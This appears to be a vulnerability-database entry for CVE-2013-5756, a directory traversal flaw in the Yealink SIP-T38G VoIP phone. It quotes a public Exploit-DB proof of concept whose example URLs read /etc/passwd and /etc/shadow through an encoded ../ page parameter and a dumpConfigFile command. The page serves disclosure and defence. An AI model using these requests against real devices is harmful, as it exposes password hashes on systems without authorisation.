CVE-2013-5756

medium

Published 2014-08-03 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Directory traversal vulnerability in Yealink VoIP Phone SIP-T38G allows remote authenticated users to read arbitrary files via a .. (dot dot) in the page parameter to cgi-bin/cgiServer.exx.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33740 webapps hardware text · 1 KB

Mr.Un1k0d3r · 2014-06-13

Yealink VoIP Phone SIP-T38G - Local File Inclusion

text exploit Source: Exploit-DB

Title: Yealink VoIP Phone SIP-T38G Local File Inclusion
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5756, CVE-2013-5757

Description:

Web interface contain a vulnerability that allow any page to be included.
We are able to disclose /etc/passwd & /etc/shadow

POC:
Using the page parameter (CVE-2013-5756):
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

Using the command parameter (CVE-2013-5757):
http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")

*By viewing the shadow file we are able to conclude that cgiServer.exx run
under the root privileges. This lead to CVE-2013-5759.

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.